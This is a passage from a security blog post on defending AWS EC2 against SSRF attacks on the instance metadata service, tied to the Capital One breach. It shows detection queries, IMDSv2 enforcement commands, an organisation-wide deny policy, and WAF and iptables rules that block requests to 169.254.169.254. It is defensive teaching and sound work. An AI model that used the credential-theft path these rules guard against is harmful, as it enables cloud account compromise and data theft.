    --detector-id "${DETECTOR_ID}" \
    --finding-ids | \
  jq '.Findings[] | {
    type: .Type,
    severity: .Severity,
    instance: .Resource.InstanceDetails.InstanceId,
    role: .Resource.AccessKeyDetails.UserName,
    externalIP: .Service.Action.NetworkConnectionAction.RemoteIpDetails.IpAddressV4,
    firstSeen: .Service.EventFirstSeen,
    lastSeen: .Service.EventLastSeen
  }'

A second finding to watch:

Recon:IAMUser/UserPermissions — fires when the stolen credentials are used to enumerate IAM permissions (the iam:SimulatePrincipalPolicy call from the attacker’s Step 4 above). Often appears immediately before the data exfiltration events.

VPC Flow Logs: Connections to 169.254.169.254

VPC Flow Logs do not capture traffic to the IMDS endpoint by default — but they can capture egress from EC2 instances in ways that reveal post-exploitation. More useful for IMDS abuse is querying for unexpected source IPs calling the IMDS from within the VPC:

# Athena query against VPC flow logs
# Find: connections to 169.254.169.254 from unexpected source IPs
# (useful in containerized environments where only the instance itself should call IMDS)

SELECT
  srcaddr,
  dstaddr,
  srcport,
  dstport,
  protocol,
  packets,
  bytes,
  action,
  log_status,
  from_unixtime(start) as start_time
FROM vpc_flow_logs
WHERE
  dstaddr = '169.254.169.254'
  AND action = 'ACCEPT'
  AND from_unixtime(start) > current_timestamp - interval '24' hour
ORDER BY start_time DESC;

If you see source IPs in this query that are not your EC2 instance’s primary private IP — for example, container IPs within the pod CIDR — and you have --http-put-response-hop-limit 1 set, those requests should be failing. If they’re succeeding, the hop limit is not enforced.

IMDSv2 Hop Limit: Why It Blocks Containerized Attacks

The hop limit is a separate defense from the token requirement. With --http-put-response-hop-limit 1, the PUT request to obtain an IMDSv2 token has a TTL of 1. When a process running inside a container tries to reach the IMDS, the request must traverse:

Container network namespace → veth pair → host network namespace → hypervisor IMDS endpoint

That traversal decrements the TTL below 1, and the PUT request never reaches the IMDS endpoint. The token is never issued. The GET request that follows has no token and — if --http-tokens required is also set — is rejected.

Hop limit = 1:
  Container → veth → [TTL=0, packet dropped]
  IMDS never receives the PUT, never issues a token

Hop limit = 2 (required for EKS with IMDS access):
  Container → veth → host → IMDS
  Token is issued; GET with token succeeds
  ← Use this only when container workloads legitimately need IMDS

For EKS specifically: use hop limit 2 only on nodes where pods have a legitimate need to call IMDS (rare). The preferred approach is pod-level identity via OIDC workload identity eliminates static credentials — pods get short-lived tokens scoped to their service account, not the node’s IAM role.

Purple Phase: Structural Fixes

Fix 1: Enforce IMDSv2 — The Non-Negotiable Control

This is not optional. Every EC2 instance running production workloads should have --http-tokens required. The operational cost is near zero; the risk reduction is complete for the SSRF-to-IMDS credential chain.

# Enforce IMDSv2 on a running instance
aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-put-response-hop-limit 1

# Verify the change took effect
aws ec2 describe-instances \
  --instance-ids i-1234567890abcdef0 \
  --query 'Reservations[].Instances[].MetadataOptions'
# "HttpTokens": "required" confirms IMDSv2 is enforced

# Enforce IMDSv2 in a launch template (all new instances launched from this template)
aws ec2 create-launch-template-version \
  --launch-template-id lt-0abcdef1234567890 \
  --source-version '$Latest' \
  --launch-template-data '{
    "MetadataOptions": {
      "HttpTokens": "required",
      "HttpPutResponseHopLimit": 1,
      "HttpEndpoint": "enabled"
    }
  }'

# Set this new version as the default
aws ec2 modify-launch-template \
  --launch-template-id lt-0abcdef1234567890 \
  --default-version '$Latest'

# Bulk remediation: enforce IMDSv2 on all instances in a region where
# HttpTokens is currently "optional"
aws ec2 describe-instances \
  --query 'Reservations[].Instances[?MetadataOptions.HttpTokens==`optional`].InstanceId' \
  --output text | \
  tr '\t' '\n' | \
  while read instance_id; do
    echo "Enforcing IMDSv2 on: $instance_id"
    aws ec2 modify-instance-metadata-options \
      --instance-id "$instance_id" \
      --http-tokens required \
      --http-put-response-hop-limit 1
  done

Fix 2: SCP to Block IMDSv1 Org-Wide

An SCP prevents any account in your organization from launching instances with IMDSv1 enabled, and blocks modification of existing instances to re-enable it. This is the org-level control that makes IMDSv2 enforcement durable — individual account teams can’t accidentally revert it.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "RequireIMDSv2OnNewInstances",
      "Effect": "Deny",
      "Action": "ec2:RunInstances",
      "Resource": "arn:aws:ec2:*:*:instance/*",
      "Condition": {
        "StringNotEquals": {
          "ec2:MetadataHttpTokens": "required"
        }
      }
    },
    {
      "Sid": "DenyIMDSv1ReEnablement",
      "Effect": "Deny",
      "Action": "ec2:ModifyInstanceMetadataOptions",
      "Resource": "*",
      "Condition": {
        "StringEquals": {
          "ec2:MetadataHttpTokens": "optional"
        }
      }
    }
  ]
}

Apply this SCP to all OUs except the management account. New ec2:RunInstances calls that don’t include MetadataOptions.HttpTokens=required will be denied. Existing instances can be remediated with the bulk script above; once remediated, the second statement prevents reverting.

Fix 3: OIDC Workload Identity — Eliminate the Credential Entirely

Enforcing IMDSv2 removes the SSRF-to-IMDS path. OIDC workload identity eliminates static credentials removes the entire credential from the picture — there is no long-lived IAM role credential attached to the instance, so there is nothing for SSRF to retrieve.

For Kubernetes workloads on EKS: use IAM Roles for Service Accounts (IRSA) or EKS Pod Identity. The pod’s service account is bound to an IAM role via OIDC. The pod gets short-lived, automatically rotated credentials scoped to that specific role. The node’s instance profile requires no IAM permissions for application workloads.

# EKS Pod Identity: associate a service account with an IAM role
aws eks create-pod-identity-association \
  --cluster-name my-cluster \
  --namespace my-app \
  --service-account my-app-sa \
  --role-arn arn:aws:iam::123456789012:role/my-app-role

# The pod receives credentials via a projected volume token, not IMDS
# Even if an attacker gets SSRF inside the pod, IMDS has no useful credentials for them
# The most they get: instance metadata (instance ID, AMI, AZ) — not IAM credentials

Fix 4: Restrict SSRF at the Network and Application Layer

IMDSv2 enforcement is the primary control. Defence in depth adds:

# WAF rule (AWS WAF): block requests where the URL contains the IMDS address
# This catches simple SSRF attempts at the perimeter before they reach your app
# Deploy as a managed rule group or custom rule:

# AWS CLI: create a WAF rule to block IMDS-targeting SSRFs
aws wafv2 create-rule-group \
  --name "BlockSSRFToIMDS" \
  --scope REGIONAL \
  --capacity 10 \
  --rules '[
    {
      "Name": "BlockIMDSAccess",
      "Priority": 0,
      "Statement": {
        "ByteMatchStatement": {
          "SearchString": "169.254.169.254",
          "FieldToMatch": {"QueryString": {}},
          "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
          "PositionalConstraint": "CONTAINS"
        }
      },
      "Action": {"Block": {}},
      "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "BlockIMDSAccess"
      }
    }
  ]' \
  --visibility-config SampledRequestsEnabled=true,CloudWatchMetricsEnabled=true,MetricName=BlockSSRFToIMDS

# Egress filtering: block EC2 instances from making outbound requests
# to the IMDS address from application code (defense in depth via iptables)
# This only applies if your application runs as a non-root user
# Root processes bypass this — it is a secondary control, not primary

# On the EC2 instance, block application user (uid 1001) from reaching IMDS
iptables -A OUTPUT \
  -m owner --uid-owner 1001 \
  -d 169.254.169.254 \
  -j REJECT \
  --reject-with icmp-port-unreachable

# Only the instance's AWS SDK calls (typically running as a system service with different uid)
# should need IMDS access — scope accordingly

Note: iptables-based egress filtering is a secondary control. A root process, or any process with CAP_NET_ADMIN, can bypass or modify these rules. The primary control remains IMDSv2 enforcement.

Production Gotchas

Legacy AWS SDK versions that only support IMDSv1. AWS SDK for Java v1 and Python (boto3 < 1.9.220) do not support IMDSv2 by default. Enforcing --http-tokens required on an instance running a legacy SDK will break credential refresh for the running application. Before enforcing IMDSv2 on a running instance, verify the SDK version used by all processes that call IMDS. Upgrade the SDK if needed; then enforce IMDSv2. The AWS Config rule ec2-imdsv2-check flags non-compliant instances but does not check SDK versions — that inventory step is manual.

# Check boto3 version on an instance
python3 -c "import boto3; print(boto3.__version__)"
# Requires >= 1.9.220 for IMDSv2 support

# Check AWS SDK for Java via jar manifest (if applicable)
find /opt /app -name "aws-java-sdk-core-*.jar" 2>/dev/null | \
  while read jar; do
    unzip -p "$jar" META-INF/MANIFEST.MF 2>/dev/null | grep "Implementation-Version"
  done
# AWS SDK for Java v1 < 1.11.678 does not support IMDSv2 by default

EKS node groups and hop limit 2. If you run EKS and pods need to use IRSA (IAM Roles for Service Accounts), the pods themselves do not use IMDS — they use a projected service account token. You should be safe with hop limit 1 on EKS nodes in most cases. However, if you have DaemonSets or system components that fetch instance metadata directly (some cluster autoscaler versions, node monitoring agents), hop limit 1 will break them. Audit which processes on your nodes actually call IMDS before setting hop limit 1 on EKS. The aws eks create-managed-node-group default is hop limit 2 for this reason; you can reduce it once you’ve confirmed nothing breaks.

GuardDuty’s 5–15 minute detection delay. UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration is not a real-time control. GuardDuty aggregates events and applies ML-based anomaly detection — the finding typically appears 5 to 15 minutes after the first anomalous API call. A credential with broad S3 permissions can exfiltrate a significant volume of data in that window. GuardDuty detects the breach; it does not prevent the initial exfiltration. Pair it with: IAM permission boundaries that scope the blast radius, and S3 data events in CloudTrail with real-time EventBridge rules for high-sensitivity buckets.

# EventBridge rule: alert immediately on S3 data events from unexpected sources
# (complements GuardDuty's delayed finding)
aws events put-rule \
  --name "S3DataEventFromUnexpectedSource" \
  --event-pattern '{
    "source": ["aws.s3"],
    "detail-type": ["AWS API Call via CloudTrail"],
    "detail": {
      "eventSource": ["s3.amazonaws.com"],
      "eventName": ["GetObject"],
      "userIdentity": {
        "sessionContext": {
          "sessionIssuer": {
            "userName": ["MyApplicationRole"]
          }
        }
      }
    }
  }' \
  --state ENABLED

Disabling the IMDS endpoint entirely. You can set --http-endpoint disabled to turn off IMDS access altogether. Do this only on instances where you are certain no running process needs instance metadata. ECS and EKS managed nodes need IMDS for node registration and credential delivery to the container agent. Application-only EC2 instances that use OIDC/IRSA and have no SDK calls to IMDS are candidates for full endpoint disablement.

Quick Reference

IMDSv1 vs IMDSv2

IMDSv2 Enforcement Commands by Provider

Note on GCP and Azure: Both providers designed their metadata services with SSRF resistance in mind. The Metadata-Flavor: Google and Metadata: true headers must be explicitly set by the calling code — they are not added by default browser or curl requests. This does not make SSRF harmless on GCP/Azure (other metadata is still exposed), but the credential exfiltration path is harder than IMDSv1.

Key Takeaways

• IMDSv1 has no authentication: any SSRF in any process running on an EC2 instance — application code, WAF, sidecar, proxy — is sufficient to retrieve the full IAM role credentials; no privilege escalation required
• The Capital One breach was not a novel attack: it was a well-known SSRF-to-IMDS chain that had been documented for years before 2019; the industry was slow to enforce IMDSv2 at scale
• --http-tokens required is the complete fix for the SSRF-to-IMDS credential chain; the operational cost is near zero; every production EC2 instance should have it; use an SCP to make it org-wide and durable
• GuardDuty’s UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration finding is your primary post-exploitation signal but fires 5–15 minutes after the fact — pair it with IAM permission boundaries to limit blast radius and EventBridge rules on S3 data events for real-time alerting
• The structural solution eliminates the credential entirely: OIDC workload identity eliminates static credentials on EKS/GKE means pods get scoped, short-lived tokens; the node’s instance role carries no application permissions; even a successful SSRF-to-IMDS attack yields nothing useful

What’s Next

SSRF gets you IAM credentials. But if the attacker is already inside a container — even a legitimate one — the path to the host is different. The credential-theft chain doesn’t apply when the attacker already has code execution inside a pod. EP08 covers Kubernetes container escape: hostPID, hostNetwork, privileged containers, and the kernel-level paths that take an attacker from container to node. The detection angle is where eBPF enters the picture — syscall-level visibility that catches escape attempts before they complete.

Get EP08 in your inbox when it publishes → linuxcent.com/subscribe

The post SSRF to Cloud Metadata: How IMDSv1 Enabled the Capital One Breach appeared first on Linuxcent.